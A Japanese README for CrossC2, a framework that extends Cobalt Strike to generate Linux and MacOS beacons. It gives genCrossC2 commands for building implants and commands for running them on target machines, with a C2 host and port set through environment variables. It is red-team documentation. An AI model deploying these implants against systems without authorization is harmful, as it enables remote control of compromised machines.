CrossC2 フレームワーク

README | 中文文档 | README_FULL | 中文完整文档

CobaltStrike サポート

CobaltStrike の他のプラットフォーム (Linux/MacOS/...) のセキュリティ評価をサポートし、Unix のポストペネトレーションモジュールの開発サポートを含みます。

使用方法

1. ダウンロード

CrossC2.cna genCrossC2 CrossC2Kit をダウンロードし、CrossC2.cna の設定を変更します。

2. リスナーを作成しキーをコピー

• windows/beacon_https/reverse_https リスナーを作成
• teamserver ディレクトリ にある .cobaltstrike.beacon_keys を ローカル にコピー

3. 機能拡張

• メモリロードなどの機能を含む CrossC2Kit_Loader.cna を追加
• cs4.x バージョンではファイル管理、プロセスリスト機能が欠落しているため、この Loader を使用して再起動する必要があります。

4. Beacon を生成

デフォルトでは、cli または cna が提供する GUI 機能を使用して beacon を生成します。

genCrossC2 <listener-ip/domain> <listener-port> <beacon_keys> <rebind_library;config.ini;c2profile.profile> <target_platform> <target_arch>

例:

1. read BEACON_KEY from current path and generate BEACON of default C2Profile traffic protocol
    genCrossC2 127.0.0.1 5555 null null Linux x64 beacon.out
     
2. specify the BEACON of the custom protocol dynamic library
    genCrossC2 127.0.0.1 5555 .cobaltstrike.beacon_keys c2profile.so MacOS x64 beacon.out

3. specify the C2Profile that needs to be automatically parsed
    genCrossC2 www.example.com 443 .cobaltstrike.beacon_keys ";;c2profile.profile" Linux x64 beacon.out

より高度な設定はドキュメントに記載されています: 📄リファレンス

5. Beacon を実行

• CrossC2 プラグインによって生成されたワンクリックオンラインスクリプトを対象マシンで実行
• beacon をターゲットマシンにアップロードして特権操作を実行
• beacon の作業ディレクトリを設定して実行: export CCPATH=/opt/ && /tmp/c2
• beacon のプロトコルライブラリを一時的に指定して実行: /tmp/c2 /tmp/c2-rebind.so
• beacon の C2 設定を一時的に設定: export CCHOST=127.0.0.1 && export CCPORT=443 && /tmp/c2
• beacon のオンライン状態を確認するために DEBUG を設定: export CCDEBUG=1 && /tmp/c2

CrossC2Kit

CrossC2Kit: https://github.com/CrossC2/CrossC2Kit

CrossC2Kit は CrossC2 から派生した Unix プラットフォーム向けの侵入拡張ツールです。Aggressor Script オープンソーススクリプトエンジンを使用します。Red Team の操作プロセスをシミュレートする自動化を作成し、CobaltStrike クライアントを拡張するために使用できます。

CrossC2Kit は CobaltStrike の元の機能を継承しているため、開発および記述文法は依然として公式ドキュメントを参照しています: https://trial.cobaltstrike.com/aggressor-script/index.html

しかし、Unix プラットフォームの beacon を制御するために CrossC2 上にいくつかの API 拡張があります。

API: 📄リファレンス

デモ:

注意

企業および組織による内部使用のみを目的としています。このフレームワークには一定の不安定性があります。専門家以外の使用は許可されていません。違法な目的や利益のために使用してはなりません。また、許可なく修正版を公開することも禁止されており、違反した場合は法的責任を負うものとします。

Todo

1. http-proxy (認証) および socks プロキシのバックコネクションサポート
2. node beacon? (単一ノードタイプ、teamserver に依存せずに他の beacon をホスト可能)
3. Linux & MacOS 側の so/dylib のリバースシェルサポート、およびその派生プロセスインジェクション機能

謝辞

CrossC2 のロゴをデザインしてくれた @Emma に感謝します。ロゴは Armitage および CobaltStrike シリーズのスタイルでデザインされています。